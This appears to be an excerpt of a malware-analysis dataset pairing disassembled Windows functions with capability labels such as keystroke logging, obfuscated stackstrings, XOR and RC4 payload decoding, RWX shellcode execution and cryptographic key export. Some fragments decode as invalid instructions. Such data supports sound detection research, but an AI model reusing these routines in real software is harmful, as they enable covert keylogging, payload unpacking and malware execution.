joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e41
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
xor edi, edi
call dword [sym.imp.USER32.dll_GetFocus]
mov ebp, dword [esp + 0x3c]
mov ebx, eax
and dword [esp + 0x10], edi
push str.PB_WindowID
push ebp
call dword [sym.imp.USER32.dll_GetPropW]
mov esi, eax
push 9
pop eax
test esi, esi
je 0x402ed9
lea eax, [esp + 0x14]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x402ed6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x14], eax
jne 0x402ed6
lea eax, [esi - 1]
push eax
push dword [0x40bf9c]
call fcn.00408a6f
mov edi, eax
mov dword [esp + 0x10], 1
xor eax, eax
push 9
cmp dword [edi + 0x10], eax
jle 0x402ed8
mov edx, dword [edi + 4]
xor ecx, ecx
pop esi
cmp word [ecx + edx + 2], si
jne 0x402ecd
mov esi, 0xfa01
push 9
cmp word [ecx + edx + 4], si
je 0x402fc0
pop esi
inc eax
add ecx, 6
cmp eax, dword [edi + 0x10]
jl 0x402eb3
push 9
pop eax
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
test ebx, ebx
je 0x402f7f
push eax
call esi
test al, al
jns 0x402f7f
push 0x11
call esi
test al, al
js 0x402f7f
push 0x10
call esi
test al, al
js 0x402f7f
push 0x12
call esi
test al, al
js 0x402f7f
push 0x10
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [esp + 0x10], 0
jne 0x402f7f
push 5
lea eax, [esp + 0x1c]
push str.RichE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
je 0x402f53
push 4
lea eax, [esp + 0x1c]
push str.RICHE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x402f6a
push 0
push 0
push 0x44e
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, 0x800
je 0x402fca
lea eax, [esp + 0x18]
push str.Scintilla
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
pop ecx
test eax, eax
je 0x402fca
test ebp, ebp
je 0x402fa3
push 0x11
call esi
test al, al
js 0x402f9b
push 0x10
call esi
test al, al
js 0x402f9b
push 0x12
call esi
test al, al
jns 0x402fa3
push 1
push ebp
call fcn.00402fd6
test ebx, ebx
je 0x402fb7
push str.PB_Hotkey
push ebx
call dword [sym.imp.USER32.dll_GetPropW]
test eax, eax
jne 0x402fca
test edi, edi
je 0x402fca
mov eax, dword [edi + 8]
jmp 0x402fcc
and dword [esp + 0x14], 0
jmp 0x402ed8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x405a00
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x405a32
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405a2d
cmp dword [esp + 0xc], esi
je 0x405a49
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret
Function at 0x10008403
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10008412
pop dword [ebp - 0xc]
mov eax, 0xfddcd954
add eax, 0x1223aabe
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x49bd47
add dword [ebp - 0x1c], 0x4e088804
mov dword [ebp - 0x18], 0x902d7870
add dword [ebp - 0x18], 0xa205d3d5
mov dword [ebp - 0x14], 0xdf5e8827
add dword [ebp - 0x14], 0x6cedbc07
mov dword [ebp - 0x10], 0x3233cbee
add dword [ebp - 0x10], 0xcdcc3412
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xf2d6d3c5
sub eax, 0xe2d62349
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xed08fff4
sub dword [ebp - 0x1c], 0x7896969e
mov dword [ebp - 0x18], 0x843866c6
add dword [ebp - 0x18], 0xbd33faaf
mov dword [ebp - 0x14], 0x22e2b4af
add dword [ebp - 0x14], 0x408cb7bd
mov dword [ebp - 0x10], 0x4900c904
sub dword [ebp - 0x10], 0x4900c904
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x70f445a0
sub eax, 0x60f39508
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3bd3c
push 0
call eax
mov ecx, 0x2c2235c5
sub ecx, 0x2c21ddd3
xor ebx, ebx
add ebx, eax
mov edi, 0x93cf0b28
sub edi, 0x83cd7528
add edi, dword [ebp - 0xc]
mov edx, 0x57cf4bb
add edx, 0xf8d5ce83
xor dword [ebp - 4], eax
mov esi, dword [edi]
mov dword [ebp - 4], 0xb76eee02
sub esi, edx
xor dword [ebp - 8], ebx
mov dword [ebx], esi
xor dword [ebp - 4], 0xce1a34cd
add ebx, 4
add edi, 4
loop 0x10008536
add eax, 0xb39ee9a
sub eax, 0xb389bff
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x100089c1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x10008de5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push edi
mov edi, ecx
cmp eax, 0x1a
jl 0x10008e3e
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x10008e3e
push ebx
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x18]
call ebx
mov eax, dword [esi + 4]
mov edx, dword [esi + 0xc]
mov ecx, dword [esi]
push 0x10
sub edx, eax
push edx
mov edx, dword [esi + 8]
sub edx, ecx
push edx
push eax
push ecx
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10008403
push 1
push dword [edi + 0x18]
call ebx
pop ebx
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009710
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10014d34]
jne 0x1000971a
repz ret
jmp fcn.10009ea3
Function at 0x10005957
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push es
lea eax, [eax + eax*4]
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.1000573f
add esp, dword [ebx - 0x7499064e]
inc edi
push es
cmp ax, bx
jbe 0x10005999
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x10005993
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x10005984
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde

Function at 0x10006632
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.1000571d
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
inc dword [eax]

Function at 0x10006674
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
invalid
invalid
cwde

Function at 0x100077bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 1
pop eax
test eax, eax
je 0x100077e5
lea eax, [ebp - 0x230]
mov dword [ebp - 0x3a0], eax
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
invalid
invalid

Function at 0x10007a71
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000de58]
jne 0x10007a7b
repz ret
jmp fcn.10008c52
Function at 0x420790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004203cd
push eax
push esi
push dword [ebp + 8]
call fcn.00420382
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004203cd
push eax
push esi
push dword [ebp + 8]
call fcn.00420382
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004203bd
inc eax
xor dword [edi], ebp
out 0x88, eax
popfd
jl 0x420842
invalid
invalid

Function at 0x4212e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
clc
das
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
sub al, 0xc6
test dword [ebp + 0x26fffffc], ebx

Function at 0x421324
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub al, 0xc6
test dword [ebp + 0x26fffffc], ebx
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
invalid
invalid
invalid
cld
Function at 0x43c730
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43c8d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40be34]
call fcn.00402cd4
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403928
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x43c8ab
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0042cb1c
test al, al
je 0x43c89e
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x43c8e4
lea eax, [ebp - 0x254]
call fcn.0040833c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x43c89e
xor eax, eax
push ebp
push 0x43c897
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x43c91c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x43c880
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403b54
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x43c880
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c89e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x43c7a1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0040ed28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c8dc
lea eax, [ebp - 0x260]
call fcn.00403928
ret
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x3d
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x46acb0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x43800
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x46a800
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x46a800
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000fd6a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000fdc3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000fdb4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x1000fdb0
cmp esi, ecx
jae 0x1000fdb4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x1000fda0
cmp esi, ecx
jb 0x1000fdb8
xor eax, eax
jmp 0x1000fdc2
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10010f26
Capabilities:
Decode data using base64 via winapi

Disassembly:
push 0xc
mov eax, 0x1004619a
call fcn.1002e5e6
mov esi, ecx
mov dword [ebp - 0x18], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], ebx
je 0x10010fa0
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
push ebx
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x10010f62
mov eax, dword [esi]
mov dword [esi + 4], eax
jmp 0x10010f98
push dword [ebp - 0x14]
mov ecx, esi
call fcn.1001989e
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push ebx
push ebx
push eax
mov esi, dword [edi - 0xc]
push ecx
mov ecx, dword [ebp - 0x18]
call fcn.100198e4
push eax
push 1
push esi
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x10010fa0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.1000ff12
mov eax, ebx
call fcn.1002e595
ret
Function at 0x10010fb3
Capabilities:
Encode data using xor

Disassembly:
push 0x34
mov eax, 0x100461f8
call fcn.1002e5e6
mov dword [ebp - 0x34], ecx
and dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], ecx
xor edx, edx
mov edi, ecx
xor eax, eax
inc edx
mov dword [ebp - 4], edx
xor ebx, ebx
and dword [ebp - 0x38], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x3c], edx
stosd dword es:[edi], eax
xor ecx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov byte [ebp - 4], 3
lea eax, [ebp - 0x29]
mov byte [ebp - 0x29], cl
lea ecx, [ebp + 8]
push eax
call fcn.1001981d
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
sub eax, edi
jne 0x10011031
push str.invalid_vector_T__subscript
call fcn.1002daf1
push ecx
mov esi, esp
mov dword [ebp - 0x30], esi
call fcn.1000ff4f
push eax
mov ecx, esi
call fcn.10019d83
push edi
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.1001920c
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call fcn.10010f26
mov edx, dword [ebp - 0x1c]
pop ecx
mov ecx, dword [ebp - 0x18]
mov edi, ecx
sub edi, edx
je 0x100110ae
lea eax, [ecx - 4]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.1001b5f3
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
jmp 0x1001108c
dec edx
cmp esi, edx
je 0x10011090
mov cl, byte [esi]
mov al, byte [edx]
mov byte [esi], al
inc esi
mov byte [edx], cl
cmp esi, edx
jne 0x1001107e
sub esp, 0xc
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.100197ba
call fcn.10010349
mov edx, dword [ebp - 0x1c]
add esp, 0xc
add eax, 4
jmp 0x100110b1
mov eax, dword [ebp - 0x38]
xor esi, esi
sub edi, eax
je 0x100110e0
mov al, byte [edx + esi]
xor al, byte [ebx + str.JXPWWLWVXKDAJMLKSUAOTJGTMAYQHP]
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 0x29], al
lea eax, [ebp - 0x29]
push eax
call fcn.100198fd
mov edx, dword [ebp - 0x1c]
inc ebx
xor eax, eax
cmp ebx, 0x1e
cmovge ebx, eax
inc esi
cmp esi, edi
jb 0x100110b7
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x29]
push eax
mov byte [ebp - 0x29], 0
call fcn.100198fd
lea ecx, [ebp - 0x28]
call fcn.1001994c
lea ecx, [ebp - 0x1c]
call fcn.1001994c
lea ecx, [ebp + 8]
call fcn.1001994c
mov eax, dword [ebp - 0x34]
call fcn.1002e595
ret
Function at 0x10011111
Capabilities:
Encode data using xor

Disassembly:
push 0x34
mov eax, 0x10046256
call fcn.1002e5e6
mov dword [ebp - 0x38], ecx
xor esi, esi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], esi
xor edx, edx
mov edi, ecx
inc edx
xor eax, eax
mov dword [ebp - 4], edx
mov ebx, esi
mov dword [ebp - 0x30], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx], esi
mov dword [ecx + 4], esi
mov dword [ecx + 8], esi
xor eax, eax
mov dword [ebp - 0x3c], edx
lea edi, [ebp - 0x1c]
xor ecx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov byte [ebp - 4], 3
lea eax, [ebp - 0x29]
mov byte [ebp - 0x29], cl
lea ecx, [ebp + 8]
push eax
call fcn.1001981d
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
sub eax, edi
jne 0x10011190
push str.invalid_vector_T__subscript
call fcn.1002daf1
push ecx
mov esi, esp
mov dword [ebp - 0x34], esi
call fcn.1000ff4f
push eax
mov ecx, esi
call fcn.10019d83
push edi
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.1001920c
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call fcn.10010f26
mov edx, dword [ebp - 0x1c]
pop ecx
mov ecx, dword [ebp - 0x18]
mov edi, ecx
sub edi, edx
je 0x1001120d
lea eax, [ecx - 4]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.1001b5f3
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
jmp 0x100111eb
dec edx
cmp esi, edx
je 0x100111ef
mov cl, byte [esi]
mov al, byte [edx]
mov byte [esi], al
inc esi
mov byte [edx], cl
cmp esi, edx
jne 0x100111dd
sub esp, 0xc
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.100197ba
call fcn.10010349
mov edx, dword [ebp - 0x1c]
add esp, 0xc
add eax, 4
jmp 0x10011210
mov eax, dword [ebp - 0x30]
xor esi, esi
sub edi, eax
je 0x10011244
mov al, byte [edx + esi]
xor al, byte [ebx + str.JXPWWLWVXKDAJMLKSUAOTJGTMAYQHP]
mov ecx, dword [ebp - 0x38]
cbw
movzx eax, ax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.1001998b
mov edx, dword [ebp - 0x1c]
inc ebx
xor eax, eax
cmp ebx, 0x1e
cmovge ebx, eax
inc esi
cmp esi, edi
jb 0x10011216
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x30]
and dword [ebp - 0x30], 0
push eax
call fcn.1001998b
lea ecx, [ebp - 0x28]
call fcn.1001994c
lea ecx, [ebp - 0x1c]
call fcn.1001994c
lea ecx, [ebp + 8]
call fcn.1001994c
mov eax, dword [ebp - 0x38]
call fcn.1002e595
ret
Function at 0x1001132f
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x100592e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0xf0000040
push 0x18
xor ebx, ebx
mov esi, ecx
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10011363
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10011468
push edi
mov edi, 0x94
push edi
call fcn.1001df68
push edi
push ebx
push eax
mov dword [esi + 0x10], eax
call fcn.100267e0
mov eax, dword [esi + 0x10]
push 0x80
push 0x10052a00
push edi
mov dword [eax], 0x206
mov dword [eax + 4], 0xa400
mov eax, dword [esi + 0x10]
mov dword [eax + 8], 0x31415352
mov dword [eax + 0xc], 0x400
mov dword [eax + 0x10], 0x10001
mov eax, dword [esi + 0x10]
add eax, 0x14
push eax
call fcn.1001eba3
add esp, 0x20
lea eax, [esi + 4]
push eax
push ebx
push ebx
push edi
push dword [esi + 0x10]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x1001144b
lea edi, [esi + 8]
push edi
push 0x800001
push 0x6602
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x1001144b
lea ebx, [esi + 0xc]
push ebx
push 0
push 0
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
je 0x1001144b
lea eax, [ebp - 8]
push eax
push 0
push 0
push 1
push dword [ebx]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x1001144b
push dword [ebp - 8]
call fcn.1001df68
push dword [ebp - 8]
mov dword [esi + 0x14], eax
push 0
push eax
call fcn.100267e0
add esp, 0x10
lea eax, [ebp - 8]
push eax
push dword [esi + 0x14]
push 0
push 1
push dword [ebx]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x10011453
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10011467
mov eax, dword [esi + 0x14]
add eax, 0xc
mov dword [esi + 0x18], eax
mov eax, dword [ebp - 8]
add eax, 0xfffffff4
mov dword [esi + 0x1c], eax
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1001c851
mov esp, ebp
pop ebp
ret